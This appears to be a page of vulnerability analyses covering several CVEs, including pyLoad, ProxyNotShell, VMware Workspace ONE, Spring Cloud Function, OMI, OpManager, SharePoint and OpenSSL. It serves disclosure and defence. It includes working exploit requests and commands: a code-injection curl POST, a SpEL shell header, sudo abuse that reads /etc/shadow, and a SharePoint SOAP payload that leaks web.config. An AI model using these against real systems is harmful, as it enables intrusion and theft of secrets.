zeroSteiner (310)

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Technical Analysis

The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM.

In order to authenticate to the AMQP service, a user would need to already have admin access to add a RabbitMQ user, or have recovered the credentials to the orion account that SolarWinds sets up automatically. For that reason, I’ve marked this as “Authenticated” and “Requires elevated access” because the orion account is not any ordinary user.

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis


pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services, the primary of which is on port 8000 and can not be used by external hosts. A secondary “Click ‘N’ Load” service runs on port 9666 and can be used remotely without authentication.

The vulnerability was patched in commit 7d73ba79 by disabling the pyimport statement within the js2py execution environment.

From the original disclosure, the vulnerability can be validated with curl:

curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \

Vulnerable instances will respond with a 500 error and a message that the decryption failed.

Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Thu, 16 Feb 2023 17:02:16 GMT
Server: Cheroot/8.6.0

Could not decrypt key

Patched instances (v0.5.0) will also respond with a 500 error but the body of the response will include a stack trace in HTML with the following error:

              <p><b>Error 500: SyntaxError: Line 1: Unexpected token pyimport</b></p>
              <p><b>Traceback (most recent call last):</b></p>
              <p><b>  File &#34;/usr/lib/python3.10/site-packages/flask/;, line 1820, in full_dispatch_request</b></p>
              <p><b>    rv = self.dispatch_request()</b></p>
Technical Analysis

This is an alternative method for bypassing Exchange Emergency Mitigation Service (EEMS) protections for the ProxyNotShell exploit chain. When this CVE is combined with CVE-2022-41082, they yield code execution as NT AUTHORITY\SYSTEM.

Installing the original patches from Microsoft that were released in November fix this exploit chain as well. The technique is arguably redundant when EEMS can be bypassed using various encoding techniques. This alternative vector is likely most valuable when used to avoid generating exploitation following the original pattern.

Technical Analysis

CVE-2022-41082, also known as ProxyNotShell is an authenticated RCE in Microsoft Exchange. ProxyNotShell actually combines CVE-2022-41082 and CVE-2022-41040 for the whole attack chain. This CVE specifically however is the RCE component. The vulnerability is a deserialization flaw in Microsoft Exchange’s PSRP backend. The PSRP backend can be accessed by an authenticated attacker leveraging the SSRF flaw identified as CVE-2022-41040. The deserialization gadget was documented by ZDI in their blog. While this vulnerability affected Exchange Server 2013 and Exchange Server 2016, the gadget chain only worked with Exchange Server 2019 (version 15.2+). A new gadget chain could potentially be developed to exploit these older versions.

GTSC originally announced on September 28th that they had seen a new (at the time) 0-day attack against their customers using Microsoft Exchange. On November 8th, Microsoft released patches for the two vulnerabilities. Between September 28th and November, no public exploits combined the SSRF with the RCE. Private threat actors however were attempting to exploit the vulnerability which led Microsoft to issue Exchange Emergency Mitigation Service (EEMS) mitigations. These mitigations took the form of IIS rewrite rules which were able to be bypassed using encoding techniques. The last issued EEMS mitigation was able to be successfully bypassed by using IBM037v1 encoding, which can be demonstrated using the Metasploit module.

Successful code execution results in OS commands running as NT AUTHORITY\SYSTEM. The exploit is reliable to exploit and pretty quick (compared to ProxyShell which needed to gather a lot of information).

Technical Analysis

The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user.

The vulnerability is due to the fact that the /usr/local/horizon/scripts/getProtectedLogFiles.hzn script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the horizon user, effectively granting them write permissions to all contents.

To demonstrate and exploit this vulnerability, the following command is executed as the horizon user:

sudo /usr/local/horizon/scripts/getProtectedLogFiles.hzn exportProtectedLogs /usr/local/horizon/scripts/

At this point, the horizon user has write access (through ownership) to a variety of scripts that they also have the right to invoke using sudo without a password. These scripts can be verified by executing sudo -n --list. A careful attacker would have backed up the ownership information for each file in the directory they intend to target, and restored them once they had obtained root-level permissions.

The root cause of this vulnerability is that the exportProtectedLogs subcommand invokes the getProtectedLogs function which will change the ownership information to the TOMCAT_USER which happens to be horizon.

Excerpt from getProtectedLogFiles.hzn:

function getProtectedLogs()
    rm -f $TARGET_DIR_LOCATION/messages*
    rm -f $TARGET_DIR_LOCATION/boot*
    rm -rf $TARGET_DIR_LOCATION/journal*



See the original disclosure for more information.

Technical Analysis

The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user.

The vulnerability is due to the fact that the permissions on the file /opt/vmware/certproxy/bin/ are such that the horizon user is both the owner and has access to invoke this file.

To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the horizon user:

sudo /usr/local/horizon/scripts/ restart

Note, that depending on the patch level of the system, the script may be located at an alternative path and require a slightly different command:

sudo /opt/vmware/certproxy/bin/ restart

In both cases, the horizon user is able to invoke the script from sudo without a password. This can be verified by executing sudo -n --list. The script invokes the systemctl command to restart the service based on its configuration file. The service configuration file, located at /run/systemd/generator.late/vmware-certproxy.service, dispatches to /etc/rc.d/init.d/vmware-certproxy through the ExecStart and ExecStop directives, which in turn executes /opt/vmware/certproxy/bin/

The horizon user should not be the owner of or have write access to any executable files that run as root.

See the original disclosure for more information. This vulnerability has a public exploit in the form of a Metasploit module.

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

A vulnerability exists in the gitserver component of SourceGraph that allows remote and unauthenticated attackers that can access the service to configure git’s core.sshCommand value which can then be triggered on demand by forcing a push operation. In order to be exploitable, the SourceGraph instance must have at least one cloned repository present. Cloning a repository is the first post-installation step that a Source Graph administrator is prompted to take. Once one or more repositories are cloned, a remote and unauthenticated attacker can enumerate them using curl http://$target:3178/list?cloned=true. Successful exploitation results in code execution in the context of the gitserver user.

While a server with no cloned repositories is not exploitable, the vulnerability can still be checked by analyzing the response to a filtered command. The vulnerability can be checked for using the following curl command where $target is the target server. This command fetches the current core.sshCommand value and does not change it.

curl -X POST http://$target:3178/exec -d '{"Repo": "repo", "Args": ["config", "--default", "", "core.sshCommand"]}'

If the response is HTTP/400 with a body of “invalid command”, the server is not vulnerable. If it’s HTTP/404, it’s vulnerable but the selected repository does not exists, while if it’s HTTP/200 it’s vulnerable and the repository does exist.

SourceGraph fixed the vulnerability in version 3.37, but users must opt into the solution. The implemented fix was in the form of optional filtering on the /exec endpoint to restrict the git commands that are able to be executed. Commit baff5680 (first released in v3.37) sets this value to default to true however it does not appear to be the default for new installations. It’s unclear what the word default means in this context. At the time of this writing, it looks like a future release may remove the option and always include the functionality. In the mean time, to enable this, SourceGraph administrators must navigate to Configuration > Site Configurationand add the following JSON blob to the configuration file.

"experimentalFeatures": {
    "enableGitServerCommandExecFilter": true

With that in place, the server will be patched for this vulnerability as unauthorized commands will be blocked. Blocked commands are logged since version 3.37 regardless of whether or not the filtering is active. A blocked command will generate a log line such as the following:

22:11:37                 gitserver | {"SeverityText":"WARN","Timestamp":1657750297008909456,"InstrumentationScope":"server","Caller":"server/server.go:1381","Function":"*Server).exec","Body":"exec: bad command","Resource":{"":"gitserver","service.version":"3.41.0","":""},"Attributes":{"RemoteAddr":"","req.Args":["config","--default","","core.sshCommand"]}}

In this case the command that was run was git config --default "" core.sshCommand from the test curl command.

See also

Technical Analysis

A remote and unauthenticated attacker can trigger a denial-of-service condition on Microsoft Windows Domain Controllers by leveraging a flaw that leads to a null pointer deference within the Windows kernel. This vulnerability was silently patched by Microsoft in April of 2022 in the same batch of changes that addressed the unrelated CVE-2022-24500 vulnerability.

CVE-2022-32230 is caused by a missing check in srv2!Smb2ValidateVolumeObjectsMatch to verify that a pointer is not null before reading a PDEVICE_OBJECT from it and passing it to IoGetBaseFileSystemDeviceObject. This function is called from the dispatch routine for an SMB2 QUERY_INFO request of the FILE_INFO / FILE_NORMALIZED_NAME_INFORMATION class. Per the docs in MS-SMB2 section Handling SMB2_0_INFO_FILE, FILE_NORMALIZED_NAME_INFORMATION is only available when the dialect is 3.1.1.

For FileNormalizedNameInformation information class requests, if not supported by the server implementation<392>, or if Connection.Dialect is “2.0.2”, “2.1” or “3.0.2”, the server MUST fail the request with STATUS_NOT_SUPPORTED.

Only newer versions of Windows that support the SMB 3.1.1 dialect are affected by this flaw (Windows 10 / Server 2019 and later).

To trigger this code path, a user would open any named pipe from the IPC$ share and make a QUERY_INFO request for the FILE_NORMALIZED_NAME_INFORMATION class. This typically requires user permissions or a non-default configuration enabling guest access. This is not the case, however, for the noteworthy exception of domain controllers where there are multiple named pipes that can be opened anonymously, such as netlogon. An alternative named pipe that can be used but does typically require permissions is the srvsvc pipe.

Under normal circumstances, the FILE_NORMALIZED_NAME_INFORMATION class would be used to query the normalized name information of a file that exists on disk. This differs from the exploitation scenario which queries a named pipe.

A system that has applied the patch for this vulnerability will respond to the request with the error STATUS_NOT_SUPPORTED.

Technical Analysis

By setting the Host HTTP header to point to a server under an attacker’s control, the target application can be made to issue an authentication request to it. By having the server respond with an HTTP 200 to any POST request, an attacker can bypass authentication and login as any user.

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

There exists a vulnerability within /usr/local/horizon/scripts/publishCaCert.hzn where a local attacker can invoke the script to make any file world-readable. The script is intended to facilitate certificate management, allowing cert files to be copied into /etc/ssl/certs which is owned by root. The script can be invoked by the horizon user without a sudo password.

The script takes two arguments, the first a path to the file to copy, the second the name of the file to write to the destination. The source path argument can be any file, but the destination is only the final component of the path meaning the file will be placed in /etc/ssl/certs.

A local user running as horizon (such as from successfully exploiting CVE-2022-22954) can exploit this vulnerability to recover the shadow file by executing:

horizon [ /tmp ]$ sudo /usr/local/horizon/scripts/publishCaCert.hzn /etc/shadow shadow; cat /etc/ssl/certs/shadow


The file that is written to the /etc/ssl/certs directory will still be owned by root making the attacker unable to delete it. A crafty attacker would backup an existing certificate file or create a new one, leak the file of their choosing and then overwrite it again with a legitimate certificate to remove the evidence of their leaked file. Users should look for files out of place in this directory, and inspect timestamps and the certificate contents to identify potential exploitation attempts of this vulnerability.


VMWare patched this issue with hotfix HW-154129. The patch for the affected script adds validation to ensure that the argument is a certificate file.


< . /usr/local/horizon/scripts/
< openssl x509 -noout -in $CERTFILE 2>/dev/null
< if [ $? -ne 0 ]; then
<   echo "ERROR: This is not a certificate file"
<   exit 1
< fi
  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

CVE-2022-22963 is an unauthenticated remote code execution vulnerability within Spring Cloud Function prior to 3.1.7 and 3.2.3. This vulnerability should not be confused with the reported 0-day dubbed Spring4Shell that was disclosed at around the same time.

The cause of this vulnerability is an unsafe evaluation context for the Spring Expression Language (SpEL) that can be included in the header. By crafting a POST request with the header, an attacker may execute malicious SpEL queries resulting in code execution in the context of the Spring Cloud Function application.

One early PoC demonstrated that the SpEL query could be used to execute an OS command through the Java Runtime. The following example echos to the /tmp/success file. It differs from the original by using an array of strings for the arguments passed to exec. Because the header value is an SpEL query, single quotes should be escaped by doubling them.

POST /functionRouter HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69 T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','echo "hello world" >> /tmp/msf-success'})
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

On successful exploitation, the server responds with a 500 error and a JSON response.

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 153

{"timestamp":"2022-03-30T20:41:28.551+00:00","path":"/functionRouter","status":500,"error":"Internal Server Error","message":"","requestId":"8fed4100-1"}

The response from a server that was patched for the vulnerability (versions 3.1.7 and 3.2.3) is identical.

The vulnerability was patched on March, 29th, 2022 in commit bcb2a25a. The patch adds a second evaluation context and uses it when the SpEL query originates from the HTTP request header. The SimpleEvaluationContext is used when the query originates from a header.

SimpleEvaluationContext is tailored to support only a subset of the SpEL language syntax, e.g. excluding references to Java types, constructors, and bean references.

Technical Analysis

A locally exploitable vulnerability exists within Microsoft’s OMI management server in versions prior to 1.6.8-1 that can allow a local attacker to execute operating system commands as root. Exploitation consists of sending crafted binary messages to the local UNIX socket on which the service listens. Under normal circumstances, clients (typically omicli) will send an authentication frame via this interface however the authentication frame can be omitted. In this case, the default values which are initialized to 0 are used and happen to correspond to the UID and GID of the root user and group.

The service must be running in order for this vulnerability to be exploited. The socket file is located at /var/opt/omi/run/omiserver.sock and can be connected to by anyone using a socket of the AF_UNIX family.

The strace utility can be used to view the standard exchange of authentication information:

root@3ad6908bf1bc:/opt/omi/bin# strace -v -f -xx -e trace=socket,connect,write,writev,close   /opt/omi/bin/omicli iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }
[pid  1271] socket(AF_UNIX, SOCK_STREAM, 0) = 6
[pid  1271] connect(6, {sa_family=AF_UNIX, sun_path="\x2f\x76\x61\x72\x2f\x6f\x70\x74\x2f\x6f\x6d\x69\x2f\x72\x75\x6e\x2f\x6f\x6d\x69\x73\x65\x72\x76\x65\x72\x2e\x73\x6f\x63\x6b"}, 110) = 0
[pid  1271] writev(6, [{iov_base="\x2f\x7e\xa8\xb1\x08\x06\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x08\xd5\x83\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., iov_len=48}, {iov_base="\xd8\xd5\x83\x01\x00\x00\x00\x00\xd0\xd8\x83\x01\x00\x00\x00\x00\xd0\xd4\x83\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"..., iov_len=248}], 2) = 296
[pid  1271] write(5, "\x00\x00\x00\x00\x00\x00\x00\x00", 8) = 8
[pid  1271] close(7)                    = 0
[pid  1272] writev(6, [{iov_base="\x2f\x7e\xa8\xb1\x08\x06\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x88\x33\x83\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., iov_len=112}, {iov_base="\x57\x99\x2b\x46\x01\x00\x00\x00\x0f\x00\x00\x00\x5f\x4f\x4d\x49\x5f\x4f\x70\x74\x69\x6f\x6e\x53\x65\x74\x00\x00\x00\x00\x00\x00"..., iov_len=188}, {iov_base="\x60\xea\x6a\xb2\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa0\x0b\x61\x57\x46\x7f\x00\x00\xe8\x34\x83\x01\x00\x00\x00\x00"..., iov_len=80}, {iov_base="\x60\xea\x6a\xb2\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa0\x0b\x61\x57\x46\x7f\x00\x00\xe8\x34\x83\x01\x00\x00\x00\x00"..., iov_len=1360}, {iov_base="\x57\x99\x2b\x46\x02\x00\x00\x00\x14\x00\x00\x00\x53\x43\x58\x5f\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x53\x79\x73\x74\x65\x6d\x00"..., iov_len=108}, {iov_base="\xd0\x86\x83\x01\x00\x00\x00\x00\x70\x8a\x83\x01\x00\x00\x00\x00\x80\x8a\x83\x01\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"..., iov_len=1008}], 6) = 2856
[pid  1272] write(1, "\x69\x6e\x73\x74\x61\x6e\x63\x65\x20\x6f\x66\x20\x45\x78\x65\x63\x75\x74\x65\x53\x68\x65\x6c\x6c\x43\x6f\x6d\x6d\x61\x6e\x64\x0a", 32instance of ExecuteShellCommand
) = 32
[pid  1272] write(1, "\x7b\x0a", 2{
)     = 2
[pid  1272] write(1, "\x20\x20\x20\x20\x52\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65\x3d\x74\x72\x75\x65\x0a", 21    ReturnValue=true
) = 21
[pid  1272] write(1, "\x20\x20\x20\x20\x52\x65\x74\x75\x72\x6e\x43\x6f\x64\x65\x3d\x30\x0a", 17    ReturnCode=0
) = 17
[pid  1272] write(1, "\x20\x20\x20\x20\x53\x74\x64\x4f\x75\x74\x3d\x75\x69\x64\x3d\x30\x28\x72\x6f\x6f\x74\x29\x20\x67\x69\x64\x3d\x30\x28\x72\x6f\x6f"..., 50    StdOut=uid=0(root) gid=0(root) groups=0(root)
) = 50
[pid  1272] write(1, "\x0a", 1
)         = 1
[pid  1272] write(1, "\x20\x20\x20\x20\x53\x74\x64\x45\x72\x72\x3d\x0a", 12    StdErr=
) = 12
[pid  1272] write(1, "\x7d\x0a", 2}
)     = 2
[pid  1271] write(5, "\x00\x00\x00\x00\x00\x00\x00\x00", 8) = 8
[pid  1272] close(6)                    = 0
+++ exited with 0 +++

By following the writev calls, the standard exchange can be viewed. The frames starting with \x2f\x7e\xa8\xb1 are header frames. All of the data sent as part of the first request can be omitted, leaving the second which contains the command to execute within the binary structure. The results of the operating system command can be read from the socket, though they must be extracted from the binary response. The commands are executed within the context of a subshell.

This vulnerability can be exploited in the default configuration and was patched in version 1.6.8-1 which was released on September 8th 2021.

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

Apache doesn’t typically run with root privileges in most environments so the value of this vulnerability will largely be in using it to leak application-specific secrets such as signing keys, database connection strings, source code etc. Path traversal vulnerabilities are among the easiest to exploit and involve no type of corruption, making them very reliable and safe to use multiple times.

There will likely be evidence within the Apache access logs of exploitation. Filtering on the HTTP status code could also provide insight into what files the attacker was able to successfully leak.

  • Attacker Value
  • Exploitability
Technical Analysis

The is a class that was added to fix the serialization issue originally disclosed in CVE-2020-28653. It’s located in the OpManagerServerClasses.jar file. It works by overriding the resolveClass method and using a boolean state variable classResolved. When the object is initialized, the caller must call setClassName to add the names of one or more classes that are allowed to be deserialized. The classResolved state variable is initialized to false, and when a class is resolved if it’s name is in the list of allowed classes, it’s set to true and resolving carries on as usual. If no allowed classes are defined, or the class name that is being deserialized is not in the allowed list, an exception is thrown.

A flaw exists in this implementation whereby if a single ITOMObjectInputStream instance is used for multiple readObject calls, then only the first will be protected because the classResolved state variable will persist into subsequent calls. This means a vulnerable use of this class would initialize it and then use the same instance for 2 or more readObject calls. The first object must be of the expected type, but any after that can be used for malicious deserialization purposes.

Such a vulnerable invocations is present in the class’s process method. This class is located in the AdventNetSUMServer.jar file. It can be accessed by sending a serialized SUMPDU object with an OPEN_SESSION request (see SUMHttpRequestHandler.processSumPDU). This will cause SUMServerIOAndDataAnalyzer to be initialized as the socket client. Once initialized, the data field of serialized SUMPDU object will be passed to the SUMServerIOAndDataAnalyzer.process method where the vulnerable serialization operations can occur.

Technical Analysis

A deserialization vulnerability exists in the ManageEngine OpManager platform that can be leveraged by an unauthenticated attacker to execute code as the application user which is typically NT AUTHORITY\SYSTEM on Windows and root on Linux.

Exploitation can be broken down into three high level steps.

  1. Issue an HTTP request to the application’s page, to have an HTTP session cookie issued. For this purpose the login page works just fine.
  2. Issue a POST request to the /servlets/ resource with a body of \xac\xed\x00\x05\x77\x04\x00\x00\x03\xea which is 1002 serialized as a Java int. This command associates a handler to the HTTP session that is then exploited.
  3. Issue a POST request to the /servlets/ resource. The body of this request is the length in bytes of the serialized Java payload as a 32-bit unsigned, big endian value followed by the serialized Java payload.

In Ruby the POST body would be made like:

data = [ java_payload.length ].pack('N') + java_payload

Step 3 can be repeated multiple times to execute a different serialized Java payload to for example, execute multiple OS commands.

The default OpManager instance is vulnerable out of the box, there is no configuration necessary and a user never needs to have logged in. Technically, the HTTP request handler may fail in step 2 but it does so after the necessary request handler has been associated with the session, allowing exploitation to proceed regardless.

A patched version (v12.5.233 and later) will not respond with a body starting with \xac\ed\x00\x05 which can be used by an attacker to check for exploitability. The version number can also be found in the source of the login page by searching for paths beginning with /cachestart/#####/ where ##### is the 5-digit version number.

A bypass for the patch issued by ManageEngine is identified as CVE-2021-3287.

Technical Analysis

CVE-2021-34527 is related to the previous CVE-2021-1675. This fixes a vulnerability whereby an authenticated attacker can connect to the remote print service (via either MS-RPRN or MS-PAR) and add a driver using a custom DLL. Upon successful exploitation, the Print Spool service would load the attacker controlled DLL from either a remote UNC path or a local path. In both cases, the DLL is then executed with NT AUTHORITY\SYSTEM privileges.

The patch for CVE-2021-34527 is effective at preventing this attack only when Point and Print is disabled, which is the default setting. This can be configured by ensuring the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint NoWarningNoElevationOnInstall is 0. The system does not need to be rebooted to enforce the changed registry key. If that registry key is defined as 1, the vulnerability can still be exploited. With Point and Print enabled, a standard UNC path used over the MS-RPRN vector (via RpcAddPrinterDriverEx) will fail with ERROR_INVALID_PARAMETER. This can be bypassed by converting the UNC path from the standard syntax (\\\public\payload.dll) to the alternative syntax (\??\UNC\\public\payload.dll).

With the patches applied and Point and Print disabled, the affected calls to RpcAddPrinterDriverEx will return ERROR_ACCESS_DENIED.

Technical Analysis

The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user-supplied data. This can be leveraged by an attacker to leak sensitive information in rendered-preview content. This can be used to leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution when deserialized. In order to leverage this vulnerability, an attacker must have the SPBasePermissions.ManageLists permission on the targeted SharePoint site. By default, SharePoint users may create their own site where they will have this permission.

The single request required to trigger the vulnerability involves two components, one document escaped and embedded within a SOAP request.

Inner Document

In this document it is required that the Namespace attribute be "System.Web.UI.WebControls " with the trailing space.

<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
<WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="Documents" WebId="WEB ID">
    <att:xmldatasource runat="server" id="XDS1"
      datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />
      <xsl:stylesheet version="2.0" xmlns:xsl="">
          <xsl:output method="xml" indent="yes" />
          <xsl:template match="/">
              <xsl:copy-of select="." />

The WEB ID needs to be updated to the UUID of the targeted site which is easily obtainable via a GET request to _api/web/id.

Outer Document

The inner document is embedded within the webPartXml node and the entire body is sent as a SOAP request to the _vti_bin/WebPartPages.asmx endpoint as a POST request.

<soap12:Envelope xmlns:xsi="" xmlns:xsd="" xmlns:soap12="">
    <RenderWebPartForEdit xmlns="">
      <webPartXml>INNER DOCUMENT</webPartXml>

The response from this request will contain quite a few things, but embedded a couple of documents deep will ultimately be the validation key used for the server’s ViewState.

.NET Serialization Gadget Chain

With the validation key, an attacker can use the ysoserial.NET project to create a payload using the TypeConfuseDelegate gadget chain and the LosFormatter. Code execution will be obtained within the context of the SharePoint application with the services of the SharePoint service.

For more information, see the original ZDI on which this analysis is based.

Technical Analysis

This vulnerability is a deserialization flaw in Exchange’s MeetingPollProposeOptionsPayload.GetRequests() method. This method can be triggered with an HTTP request and when issued a specially crafted XML payload, can lead to OS command execution within the context of the w3wp.exe process which has SYSTEM level privileges.

The XML payload is a .NET serialized object which contains the ObjectDataProvider chain from YSoSerial.NET and the DataContractSerializer formatter. The payload needs to be crafted to be compatible with the way in which Exchange deserializes it.

Since many users have sufficient access to authenticate to Exchange, this could easily be used in conjunction with a phishing or password guessing attack and lead to an initial breach.

There was a blog detailing this vulnerability and a PoC written by the same author. The PoC is non-functional without being edited.

  • Attacker Value
  • Exploitability
    Very High
Technical Analysis

This vulnerability is pretty straightforward to exploit. It is due to an unauthenticated SOAP interface in the Apache OFBiz application that accepts and deserializes an arbitrary Java object. This can be leveraged by an attacker to submit a payload to the server that after being deserialized will result in a command being executed. The YSoSerial ROME gadget chain can be used for this purpose.

The serialized object is encoded in hex and placed within the cus-obj XML node of the SOAP request:

<soapenv:Envelope xmlns:soapenv="">
            <std-String value=""/>

This was taken from a PoC which was credited in the Metasploit exploit module.

Technical Analysis

The exploitation of this vulnerability would be most easily accomplished using a patched version of OpenSSL to modify the extensions sent within the ClientHello of the renegotiation. Successful exploitation of this vulnerability is likely limited to a Denial of Service condition. Allocating and setting the contents of the NULL page is extremely unlikely from the vantage point of a remote attacker.

The following patch can be applied to OpenSSL 1.1.1k (commit fd78df59) to generate a build capable of reproducing the vulnerability.

index ce8a75794c..3e3f774dab 100644
--- a/ssl/statem/extensions_clnt.c
+++ b/ssl/statem/extensions_clnt.c
@@ -272,7 +272,7 @@ EXT_RETURN tls_construct_ctos_sig_algs(SSL *s, WPACKET *pkt,
         return EXT_RETURN_NOT_SENT;
     salglen = tls12_get_psigalgs(s, 1, &salg);
-    if (!WPACKET_put_bytes_u16(pkt, TLSEXT_TYPE_signature_algorithms)
+    if (!WPACKET_put_bytes_u16(pkt, (s->renegotiate ? TLSEXT_TYPE_signature_algorithms_cert : TLSEXT_TYPE_signature_algorithms))
                /* Sub-packet for sig-algs extension */
             || !WPACKET_start_sub_packet_u16(pkt)
                /* Sub-packet for the actual list */

What this change is doing is swapping the signature_algorithms extension for signature_algorithms_cert when the SSL context is renegotiating.

With a patched version of OpenSSL built, run the openssl client, specifying TLS version 1.2 and renegotiate.

echo R | apps/openssl s_client -connect target:443 -msg -tls1_2